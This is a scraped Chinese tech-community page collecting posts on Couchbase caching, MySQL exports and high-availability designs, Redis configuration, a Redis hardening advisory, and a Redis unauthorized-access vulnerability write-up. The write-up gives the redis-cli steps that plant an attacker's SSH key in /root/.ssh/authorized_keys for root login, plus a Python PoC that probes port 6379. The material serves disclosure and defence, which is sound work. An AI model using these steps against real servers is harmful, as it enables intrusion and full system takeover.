Couchbase介绍及实战
Cache系统的重要性
作者:张虎 ,云巴 (yunba.io) 创始人。 JPush 创始人,原CTO。 收起阅读 »
- []移动智能设备的时代,几十亿部设备[/][]轻易达到百万级别以上的用户[/][]极低延迟的体验[/]
- []代理很容易成为性能瓶颈[/][]代理单点失效的问题[/][]现有代理对扩容支持不好[/]
- []Google.com[/][]http://Stackoverflow.com/questions/13079333/[/][]Quora.com[/][]查找:Cache system sharding[/]
- []对等网-->无单节点失效[/][]vBucker-->Auto Sharding /Replica[/][]Smartclient[/]
- []Couchbase 的对等网设计,smart client 直接获取整的集群的信息,在客户端实现负载均衡,整个集群没有单点失效,并且完全支持平行扩展。[/][]vBucket 的引入,完全实现了 auto sharding,可以方便灵活的把数据的子集在不同节点上移动,以实现集群动态管理。[/][]Couchbase 有一个非常专业的 web 管理界面,并且支持通过 RESTful API 管理,这也是 memcached, redis 不能企及的。[/][]如果只是做 key/value 的 cache,Couchbase 可以完全取代 memcached。[/][]Couchbase 已经被我们在生产环境中大量采用。[/]
作者:张虎 ,云巴 (yunba.io) 创始人。 JPush 创始人,原CTO。 收起阅读 »
更好的NOSQL Cache系统Couchbase
在移动互联网时代,我们面对的是更多的客户端,更低的请求延迟,这当然需要对数据做大量的 Cache 以提高读写速度。
术语
节点:指集群里的一台服务器。
现有 Cache 系统的特点
目前业界使用得最多的 Cache 系统主要是 memcached 和 redis。 这两个 Cache 系统都有都有很大的用户群,可以说是比较成熟的解决方案,也是很多系统当然的选择。 不过,在使用 memcached 和 redis 过程中,还是碰到了不少的问题和局限:
收起阅读 »
术语
节点:指集群里的一台服务器。
现有 Cache 系统的特点
目前业界使用得最多的 Cache 系统主要是 memcached 和 redis。 这两个 Cache 系统都有都有很大的用户群,可以说是比较成熟的解决方案,也是很多系统当然的选择。 不过,在使用 memcached 和 redis 过程中,还是碰到了不少的问题和局限:
- []Cluster 支持不够。在扩容、负载均衡、高可用等方面存在明显不足。[/][]持久化支持不好,出现问题后恢复的代价大。memcached 完全不支持持久化,redis 的持久化会造成系统间歇性的负载很高。[/]
- []Key 可以动态分散(Auto Sharding)在不同的服务器上,可以通过动态添加服务器节点增加系统容量。[/][]没有单点失效,任何一个单点都不会造成数据不可访问。[/][]读写负载可以均匀分布在系统的不同节点上。[/]
- []方便快速恢复,甚至可以直接用作 key/value 数据库。 经常在跟业界朋友交流时,会提到用 key 分段的方法来做容量扩展以及负载均衡。但是用静态的 key 分段会有不少问题:[/][]Cache 系统本身及使用 cache 的客户端都需要预设一个分段逻辑,这个逻辑后期如果需要调整将会非常困难。不能解决单点失效的问题,还需要额外的手段。运维需要更多的人为参与,避免 key 超出现有分区,一旦出现 key 找不到对应服务器,访问直接失败。[/]
servers = ['server1:11211', 'server2:11211', 'server3:11211']server_for_key(key) = servers[hash(key) % servers.length]但也有几个问题:
- []如果一台服务器失效,会造成该分片的所有 key 失效。[/][]如果服务器容量不同,管理非常麻烦。[/][]前面提到过,运维、配置非常不方便。[/]
- []key hash 对应一个 vBucket,不再直接对应服务器。[/][]集群维护一个全局的 vBucket 与服务器对应表。[/][]前面提到的 smart client 重要的功能就是同步 vBucket 表。[/]
servers = ['server1:11211', 'server2:11211', 'server3:11211']vbuckets = [0, 0, 1, 1, 2, 2]server_for_key(key) = servers[vbuckets[hash(key) % vbuckets.length]]由于 vBucket 把 key 跟服务器的静态对应关系解耦合,基于 vBucket 可以实现一些非常强大有趣的功能,例如:
- []Replica,以 vBucket 为单位的主从备份。如果某个节点失效,只需要更新 vBucket 映射表,马上启用备份数据。[/][]动态扩容。新增加一个节点后,可以把部分 vBucket 转移到新节点上,并更新 vBucket 映射表。[/]
- []Couchbase 的对等网设计,smart client 直接获取整的集群的信息,在客户端实现负载均衡,整个集群没有单点失效,并且完全支持平行扩展。[/][]vBucket 的引入,完全实现了 auto sharding,可以方便灵活的把数据的子集在不同节点上移动,以实现集群动态管理。[/][]Couchbase 有一个非常专业的 web 管理界面,并且支持通过 RESTful API 管理,这也是 memcached, redis 不能企及的。[/][]如果只是做 key/value 的 cache,Couchbase 可以完全取代 memcached。[/][]Couchbase 已经被我们在生产环境中大量采用。[/]
原文链接:http://zhang.hu/couchbase/
作者:张虎 云巴 (yunba.io) 创始人, JPush 联合创始人,原CTO。
收起阅读 »
Mysql查询结果导出为Excel的几种方法
方法一:
查询语句直接输出
语法格式:
方法二:
在shell命令行下把Excel以文本方式打开,然后另存为,在编码选择ansi编码保存
语法格式:
方式三:
查询定向输出为Excel文件后缀,然后转码
语法格式:
将文件下载到本地,打开如果中文乱码,因为office默认的是gb2312编码,服务器端生成的很有可能是utf-8编码,这个时候你有两种选择:
1、在服务器端使用iconv来进行编码转换
如果转换顺利,那么从server上下载下来就可以使用了。
2、转换如果不顺利,则会提示:
先把type.xls下载下来,这个时候文件是utf-8编码的,用excel打开,乱码。把type.xls以文本方式打开,然后另存为,在编码选择ANSI编码保存。 收起阅读 »
查询语句直接输出
语法格式:
Example:
select * into outfile '/data/var-3307/catid.xls' from help_cat where 1 order by cat_id desc limit 0,20;
select * info outfile '导出文件存放目录' from 表面和查询条件等信息!
方法二:
在shell命令行下把Excel以文本方式打开,然后另存为,在编码选择ansi编码保存
语法格式:
Example:
echo "select * from db_web.help_cat where 1 order by sort desc limit 0,20" | mysql -h127.0.0.1 -uroot > /data/sort.xls
echo 查询语句 管道 登录mysql链接方式 > 定向输出文件
方式三:
查询定向输出为Excel文件后缀,然后转码
语法格式:
Example:
mysql db_web -uroot -e "select * from help_cat where 1 order by type desc limit 0,20" > /data/type.xls
mysql链接信息 数据库 用户名 密码 然后执行查询语句,定向输出。
将文件下载到本地,打开如果中文乱码,因为office默认的是gb2312编码,服务器端生成的很有可能是utf-8编码,这个时候你有两种选择:
1、在服务器端使用iconv来进行编码转换
iconv -futf8 -tgb2312 -otype1.xls type.xls
如果转换顺利,那么从server上下载下来就可以使用了。
2、转换如果不顺利,则会提示:
iconv: illegal input sequence at position 1841类似错误,如下解决:
先把type.xls下载下来,这个时候文件是utf-8编码的,用excel打开,乱码。把type.xls以文本方式打开,然后另存为,在编码选择ANSI编码保存。 收起阅读 »
Redis database配置项解析
读到redis配置文件的时候,碰到databases 16我不明白了,然后开启百度和google的搜索介绍之门,下面把我读取文章吸取到的解释介绍如下。
官方的解释:可用数据库数,默认值为16,默认数据库为0。
刚开始咋一看没有明白,可用数据库的个数,redis一个实例不就是一个数据库吗。怎么还可以配置多个数据库。这是因为Redis下,数据库是由一个整数索引标识,而不是由一个数据库名称,可以直白的理解为配置不同的的库,占用的是不同的内存空间,不同的库之间相互不影响,独立工作,只不过都是借宿在这个Redis实例上面生存的空间。
Redis的配置文件中默认的数据库总数为16个,默认它是一个下标基于0到15的数组:
为什么Redis会有这么一个设计场景呢,我想这是一个类似多租户的概念。就像虚拟化和容器一样,你可以虚拟出多台机器和多个容器来,充分利用物理机器的硬件配置来work,达到服务器性能最大的利用率,各个虚拟机和容器之间单独运行,互补影响和干扰,我想Redis的多数据库也是同样的道理。
场景:
你或许希望一个Redis应用(一个Redis server,或者一个Redis server/slaves群组)能为多个客户端应用服务,如果这些客户端应用都各自为营,向Redis写数据的话,很可能会导致key冲突(我们知道Redis是一个key-value结构的存储结构)。为了将不同的应用分开,你可以用不同的前缀去区分(eg: app_i:xx:yy, app_ii:xx:yy)。这时候你就不用这么麻烦,就可以直接利用Redis分割这些key的机制:Database的概念。
每个数据库都有属于自己的空间,不必担心之间的key冲突。
不同的数据库下,相同的key取到各自的值。
flushdb命令清除数据,只会清除当前的数据库下的数据,不会影响到其他数据库。flushall命令会清除这个实例的数据,在执行这个命令之前要考虑清楚,我这里只是实验环境,无所谓了。
数据库的数量是可以配置的,默认情况下是16个。修改redis.conf下的databases指令:
Redis databases,从“客户端应用都各自为营”和业务分离的角度来看,Database的概念是很适用的,它让我们有清晰的数据划分,可以放心的把注意力放在key的设计上。 收起阅读 »
官方的解释:可用数据库数,默认值为16,默认数据库为0。
刚开始咋一看没有明白,可用数据库的个数,redis一个实例不就是一个数据库吗。怎么还可以配置多个数据库。这是因为Redis下,数据库是由一个整数索引标识,而不是由一个数据库名称,可以直白的理解为配置不同的的库,占用的是不同的内存空间,不同的库之间相互不影响,独立工作,只不过都是借宿在这个Redis实例上面生存的空间。
Redis的配置文件中默认的数据库总数为16个,默认它是一个下标基于0到15的数组:
databases 16
应用场景
为什么Redis会有这么一个设计场景呢,我想这是一个类似多租户的概念。就像虚拟化和容器一样,你可以虚拟出多台机器和多个容器来,充分利用物理机器的硬件配置来work,达到服务器性能最大的利用率,各个虚拟机和容器之间单独运行,互补影响和干扰,我想Redis的多数据库也是同样的道理。
场景:
你或许希望一个Redis应用(一个Redis server,或者一个Redis server/slaves群组)能为多个客户端应用服务,如果这些客户端应用都各自为营,向Redis写数据的话,很可能会导致key冲突(我们知道Redis是一个key-value结构的存储结构)。为了将不同的应用分开,你可以用不同的前缀去区分(eg: app_i:xx:yy, app_ii:xx:yy)。这时候你就不用这么麻烦,就可以直接利用Redis分割这些key的机制:Database的概念。
每个数据库都有属于自己的空间,不必担心之间的key冲突。
不同的数据库下,相同的key取到各自的值。
flushdb命令清除数据,只会清除当前的数据库下的数据,不会影响到其他数据库。flushall命令会清除这个实例的数据,在执行这个命令之前要考虑清楚,我这里只是实验环境,无所谓了。
数据库的数量是可以配置的,默认情况下是16个。修改redis.conf下的databases指令:
databases 64redis没有提供任何方法来关联标识不同的数据库。因此,需要你来跟踪什么数据存储到哪个数据库下或者什么业务的数据存在哪个库里面,这个我觉得可以用Zookeeper来解决。
总结
Redis databases,从“客户端应用都各自为营”和业务分离的角度来看,Database的概念是很适用的,它让我们有清晰的数据划分,可以放心的把注意力放在key的设计上。 收起阅读 »
Redis安装配置详解
下载编译安装
***三部曲执行文件说明:
# cd /usr/local/src
# wget http://redis.googlecode.com/files/redis-2.6.10.tar.gz
# tar zxvf redis-2.6.10.tar.gz
# cd redis-2.6.10
# make
# make install
***make命令执行完成后,会在src目录下生成5个可执行文件:
# redis-server Redis服务器的daemon启动程序
# redis-cli Redis命令行操作工具。当然,你也可以用telnet根据其纯文本协议来操作
# redis-benchmark Redis性能测试工具,测试Redis在你的系统及你的配置下的读写性能
# redis-check-aof 更新日志检查
# redis-check-dump 用于本地数据库检查
echo "1" > /proc/sys/vm/overcommit_memory
1表示内核允许分配所有的物理内存,而不管当前的内存状态如何。
cp redis-benchmark redis-cli redis-server /usr/bin/ #拷贝可执行文件配置文件详解:
cp redis.conf /etc/ # redis启动配置文件
#是否作为守护进程运行Redis Replication配置:
daemonize yes
#如以后台进程运行,则需指定一个pid,默认为/var/run/redis.pid
pidfile redis.pid
#绑定主机IP,默认值为127.0.0.1
bind 0.0.0.0
#Redis默认监听端口
port 6379
#客户端闲置多少秒后,断开连接,默认为300(秒)
timeout 300
#日志记录等级,有4个可选值,debug,verbose(默认值),notice,warning
loglevel verbose
#指定日志输出的文件名,默认值为stdout,也可设为/dev/null屏蔽日志
logfile stdout
#可用数据库数,默认值为16,默认数据库为0
databases 16
#保存数据到disk的策略:
#当有一条Keys数据被改变时,900秒刷新到disk一次
save 900 1
#当有10条Keys数据被改变时,300秒刷新到disk一次
save 300 10
#当有1w条keys数据被改变时,60秒刷新到disk一次
save 60 10000
#当dump .rdb数据库的时候是否压缩数据对象
rdbcompression yes
#存储和加载rdb文件时校验
rdbchecksum yes
#本地数据库文件名,默认值为dump.rdb
dbfilename dump.rdb
#后台存储错误停止写。
stop-writes-on-bgsave-error yes
#本地数据库存放路径,默认值为 ./
dir /var/lib/redis/
# slaveof当本机为从服务时,设置主服务的IP及端口
# masterauth当本机为从服务时,设置主服务的连接密码
#连接密码
#requirepass foobared
#最大客户端连接数,默认不限制
# maxclients 128
#最大内存使用设置,达到最大内存设置后,Redis会先尝试清除已到期或即将到期的Key,当此方法处理后,任到达最大内存设置,将无法再进行写入操作。
# maxmemory
#是否在每次更新操作后进行日志记录,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为redis本身同步数据文件是按上面save条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认值为no
appendonly no
#更新日志文件名,默认值为appendonly.aof
#appendfilename
#更新日志条件,共有3个可选值。no表示等操作系统进行数据缓存同步到磁盘,always表示每次更新操作后手动调用fsync()将数据写到磁盘,everysec表示每秒同步一次(默认值)。
# appendfsync always
appendfsync everysec
# appendfsync no
#当slave失去与master的连接,或正在拷贝中,如果为yes,slave会响应客户端的请求,数据可能不同步甚至没有数据,如果为no,slave会返回错误"SYNC with master in progress"
slave-serve-stale-data yes
#如果为yes,slave实例只读,如果为no,slave实例可读可写。
slave-read-only yes
# 在slave和master同步后(发送psync/sync),后续的同步是否设置成TCP_NODELAY . 假如设置成yes,则redis会合并小的TCP包从而节省带宽,但会增加同步延迟(40ms),造成master与slave数据不一致 假如设置成no,则redis master会立即发送同步数据,没有延迟
repl-disable-tcp-nodelay no
#如果master不能再正常工作,那么会在多个slave中,选择优先值最小的一个slave提升为master,优先值为0表示不能提升为master。
slave-priority 100
#[size=16]# LIMITS [/size]##
maxclients 10000 #客户端并发连接数的上限是10000,到达上限,服务器会关闭所有新连接并返回错误"max number of clients reached"
maxmemory 15G #设置最大内存,到达上限,服务器会根据驱逐政策(eviction policy)删除某些键值,如果政策被设置为noeviction,那么redis只读,对于增加内存的操作请求返回错误。
#[size=16]# APPEND ONLY MODE [/size]##
appendonly no #redis默认采用快照(snapshotting)异步转存到硬盘中,它是根据save指令来触发持久化的,当Redis异常中断或停电时,可能会导致最后一些写操作丢失。AOF(Append Only File,只追加文件)可以提供更好的持久性,结合apendfsync指令可以把几分钟的数据丢失降至一秒钟的数据丢失,它通过日志把所有的操作记录下来,AOF和RDB持久化可以同时启动。
appendfilename appendonly.aof #指定aof的文件名。
apendfsync always|everysec|no #调用fsync()写数据到硬盘中,always是每一次写操作就马上同步到日志中,everysec是每隔一秒强制fsync,no是不调用fsync(),让操作系统自己决定何时同步。
no-appendfsync-on-rewrite no #如果为yes,当BGSAVE或BGREWRITEAOF指令运行时,即把AOF文件转写到RDB文件中时,会阻止调用fsync()。
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb #Redis会将AOF文件最初的大小记录下来,如果当前的AOF文件的大小增加100%并且超过64mb时,就会自动触发Redis改写AOF文件到RDB文件中,如果auto-aof-rewrite-percentage为0表示取消自动rewrite功能。
#[size=16]# LUA SCRIPTING [/size]##
lua-time-limit 5000 #一个Lua脚本最长的执行时间为5000毫秒(5秒),如果为0或负数表示无限执行时间。
#[size=16]# SLOW LOG [/size]##
slowlog-log-slower-than 10000 #当某个请求执行时间(不包括IO时间)超过10000微妙(10毫秒),把请求记录在慢日志中 ,如果为负数不使用慢日志,如果为0强制记录每个指令。
slowlog-max-len 128 #慢日志的最大长度是128,当慢日志超过128时,最先进入队列的记录会被踢出来,慢日志会消耗内存,你可以使用SLOWLOG RESET清空队列回收这些内存。
#[size=16]# ADVANCED CONFIG [/size]##
hash-max-ziplist-entries 512
hash-max-ziplist-value 64 #较小的hash可以通过某种特殊的方式进行编码,以节省大量的内存空间,我们指定最大的条目数为512,每个条目的最大长度为64。
list-max-ziplist-entries 512
list-max-ziplist-value 64 #同上。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64 #同上。
activerehashing yes #重新哈希the main Redis hash table(the one mapping top-level keys to values),这样会节省更多的空间。
client-output-buffer-limit normal 0 0 0 #对客户端输出缓冲进行限制可以强迫那些就不从服务器读取数据的客户端断开连接。对于normal client,第一个0表示取消hard limit,第二个0和第三个0表示取消soft limit,normal client默认取消限制,因为如果没有寻问,他们是不会接收数据的。
client-output-buffer-limit slave 256mb 64mb 60 #对于slave client和MONITER client,如果client-output-buffer一旦超过256mb,又或者超过64mb持续60秒,那么服务器就会立即断开客户端连接。
client-output-buffer-limit pubsub 32mb 8mb 60 #对于pubsub client,如果client-output-buffer一旦超过32mb,又或者超过8mb持续60秒,那么服务器就会立即断开客户端连接。
#[size=16]# INCLUDES [/size]##
include /path/to/conf #包含一些可以重用的配置文件。
hz 10 #Redis 调用内部函数来执行后台task,比如关闭已经timeout连接,删除过期的keys并且永远不会被访问到的,执行频率根据 hz 后面的值来确定。在Redis 比较空闲的时候,提高这个值,能充分利用CPU,让Redis相应速度更快,可取范围是1-500 ,建议值为 1--100
aof-rewrite-incremental-fsync yes # 当子进程重写AOF文件,以下选项开启时,AOF文件会每产生32M数据同步一次。这有助于更快写入文件到磁盘避免延迟
#############[size=16]# VIRTUAL MEMORY [/size]######[size=16]#[/size]
#是否开启VM功能,默认值为no
vm-enabled no
# vm-enabled yes
#虚拟内存文件路径,默认值为/tmp/redis.swap,不可多个Redis实例共享
vm-swap-file /tmp/redis.swap
#将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的 (Redis的索引数据就是keys),也就是说,当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0。
vm-max-memory 0
vm-page-size 32
vm-pages 134217728
vm-max-threads 4
##########[size=16]# ADVANCED CONFIG [/size]##########[size=16]#[/size]
glueoutputbuf yes
hash-max-zipmap-entries 64
hash-max-zipmap-value 512
#是否重置Hash表
activerehashing yes
_____________________________________________________________________
注意:Redis官方文档对VM的使用提出了一些建议:
当你的key很小而value很大时,使用VM的效果会比较好.因为这样节约的内存比较大.
当你的key不小时,可以考虑使用一些非常方法将很大的key变成很大的value,比如你可以考虑将key,value组合成一个新的value.
最好使用linux ext3 等对稀疏文件支持比较好的文件系统保存你的swap文件.
vm-max-threads这个参数,可以设置访问swap文件的线程数,设置最好不要超过机器的核数.如果设置为0,那么所有对swap文件的操作都是串行的.可能会造成比较长时间的延迟,但是对数据完整性有很好的保证.
#启动服务收起阅读 »
redis-server /etc/redis.conf
#操作窗口
redis-cli
redis-cli set foo bar
OK
redis-cli get foo
bar
#关闭redis
redis-cli shutdown
#强制备份数据到磁盘,使用如下命令
redis-cli save
redis-cli -p 6380 save #指定端口
redis-cli -r 3 info # 重复执行info命令三次
cat testStr.txt | redis-cli -x set testStr # 读取testStr.txt文件所有内容设置为testStr的值
redis-cli keys \* # 查看所有键值信息
redis-cli -n 1 keys "test*" | xargs redis-cli -n 1 del # 删除DBID为1的test开头的key值
redis-cli -p 6379 info | grep '\' # 过滤查询used_memory属性
redis-check-dump dump.rdb # 检查本地数据库文件
_____________________________________________________________________
redis双机高可用的基础,是redis的主备复制机制。指定主备角色,是用slaveof命令。
指定本机为master
slaveof NO ONE
指定本机为192.168.1.10的slave
slaveof 192.168.1.10 6379
硬盘存储两种方式任选其一: 1、save 为快照 2、aof 为持久化
aof日志文件损坏,可用 Redis 随身带的 redis-check-aof 命令来修复原始文件:
redis-check-aof --fix "filename"
_____________________________________________________________________
redis的基准信息和性能检测
# redis-benchmark 命令测试性能
redis-benchmark -h localhost -p 6379 -c 100 -n 100000
100个并发连接,100000个请求,检测host为localhost 端口为6379的redis服务器性能
./redis-benchmark -n 100000 –c 50
====== –c 50 ======
100000 requests completed in 1.93 seconds (100000个请求完成于 1.93 秒 )
50 parallel clients (每个请求有50个并发客户端)
3 bytes payload (每次写入3字节)
keep alive: 1 (保持1个连接)
58.50% <= 0 milliseconds
99.17% <= 1 milliseconds
99.58% <= 2 milliseconds
99.85% <= 3 milliseconds
99.90% <= 6 milliseconds
100.00% <= 9 milliseconds
(所有请求在62毫秒内完成)
114293.71 requests per second(每秒 114293.71 次查询)
例子:
redis-benchmark -h 192.168.1.1 -p 6379 -n 100000 -c 20
redis-benchmark -t set -n 1000000 -r 100000000
redis-benchmark -t ping,set,get -n 100000 –csv
redis-benchmark -r 10000 -n 10000 lpush mylist
_____________________________________________________________________
Redis的query分析
redis-faina(https://github.com/Instagram/redis-faina) 是由Instagram 开发并开源的一个Redis 查询分析小工具,需安装python环境。
redis-faina 是通过Redis的MONITOR命令来实现的,通过对在Redis上执行的query进行监控,统计出一段时间的query特性,需root权限。
通过管道从stdin读取N条命令,直接分析
redis-cli -p 6439 monitor | head -n| ./redis-faina.py
# python-redis官网
https://pypi.python.org/pypi/redis
Mysql架构的演化
Mysql微型高可用架构
方案:Mysql主从复制,读写分离
服务器资源:两台服务器
优点:架构简单,节省资源
缺点:任何一台服务器down机,都会对业务造成影响。
网站发展初期,到一定程度,单台Mysql的读写效率是满足不了生产的应用的了。即使在网站使用了缓存后,大部分数据的读操作访问都不通过数据库完成,但是仍然有一部分的读操作(缓存不命中、缓存过期)和全部的写操作还是需要访问数据库,当数据库的访问达到一定压力后,数据库会因为负载过高成为整个系统的瓶颈。所以初期的读写分离很重要!
Mysql小型高可用架构
方案:MySQL双主、主从 + Keepalived主从自动切换
服务器资源:四台服务器
优点:架构简单,资源适度
缺点:无法线性扩展,主从失败之后需要手动恢复主从架构。
单一的读写分离,满足不了业务需求之后,我们需要横向扩展多主多从,来达到压力分流和多向写入的设计。
MySQL中型高可用架构
方案:MMM + MySQL双主 + 多从高可用方案
服务器资源:
1、至少五台服务器,2台MySQL主库,2台MySQL从库,1台MMM Monitor;
2、1台MMM Monitor选择低配;
3、如果不采用F5作为从库的负载均衡器,可用2台服务器部署LVS或HAProxy+Keepalived组合来代替;
优点:双主热备模式,读写分离,SLAVE集群可线性扩展
缺点:读写分离需要在程序端解决,Master大批量写操作时会产生主从延时
MySQL大型高可用架构
主要思路:中间件+MySQL Sharding
如方案:Cobar、Mycat等中间件+MySQL技术
另外,还分享些MySQL一些主流的高可用架构:
- []MySQL双主 + Keepalived主备自动切换方案(上面已有)[/][]MySQL主从 + Keepalived主从自动切换方案(上面已有)[/][]MMM+MySQL双主 + 多从高可用方案(上面已有)[/][]MySQL + Pecemaker(Heartbeat) + DRBD高可用[/][]MySQL + RHCS 高可用方案[/][]MySQL + Cluser 集群架构[/][]Percona Xtradb Cluster 集群高可用性解决方案[/][]中间件 + MySQL 大型集群解决方案(上面已提到)[/]
MySQL + Pecemaker(Heartbeat) + DRBD高可用 && MySQL + RHCS 高可用方案
Percona Xtradb Cluster 集群高可用性解决方案
MySQL多机房部署架构参考案例
收起阅读 »
Redis风险安全公告
今天接到ucloud的安全公告信息,内容如下,分享给大家:
1、监听指定接口
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
4、使用普通账户运行redis服务
只做技术的分享,欢迎订阅微信公众号:
收起阅读 »
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。
修复方案
1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:2、启用认证
bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
在requirepass字段后面配置强口令,例如:3、关闭config命令
requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c522)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""修改完配置后需要重启才能生效。
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。http://openskill.cn 开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
收起阅读 »
Redis 未授权访问缺陷可轻易导致系统被黑
漏洞概要
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞详情
漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
根据 ZoomEye 最新于2015年11月12日0点探测结果显示:
总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。
1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。
Redis 未授权的其他危害与利用
数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等
代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
漏洞 PoC
#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']
def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715
收起阅读 »
Msyql主从复制原理介绍
工作原理图:
主从复制的原理:
分为同步复制和异步复制,实际复制架构中大部分为异步复制。 复制的基本过程如下:
主从复制的原理:
分为同步复制和异步复制,实际复制架构中大部分为异步复制。 复制的基本过程如下:
1).Slave上面的IO进程连接上Master,并请求从指定日志文件的指定位置(或者从最开始的日志)之后的日志内容;
2).Master接收到来自Slave的IO进程的请求后,通过负责复制的IO进程根据请求信息读取制定日志指定位置之后的日志信息,返回给Slave 的IO进程。返回信息中除了日志所包含的信息之外,还包括本次返回的信息已经到Master端的bin-log文件的名称以及bin-log的位置;
3).Slave的IO进程接收到信息后,将接收到的日志内容依次添加到Slave端的relay-log文件的最末端,并将读取到的Master端的 bin-log的文件名和位置记录到master-info文件中,以便在下一次读取的时候能够清楚的告诉Master“我需要从某个bin-log的哪个位置开始往后的日志内容,请发给我”;
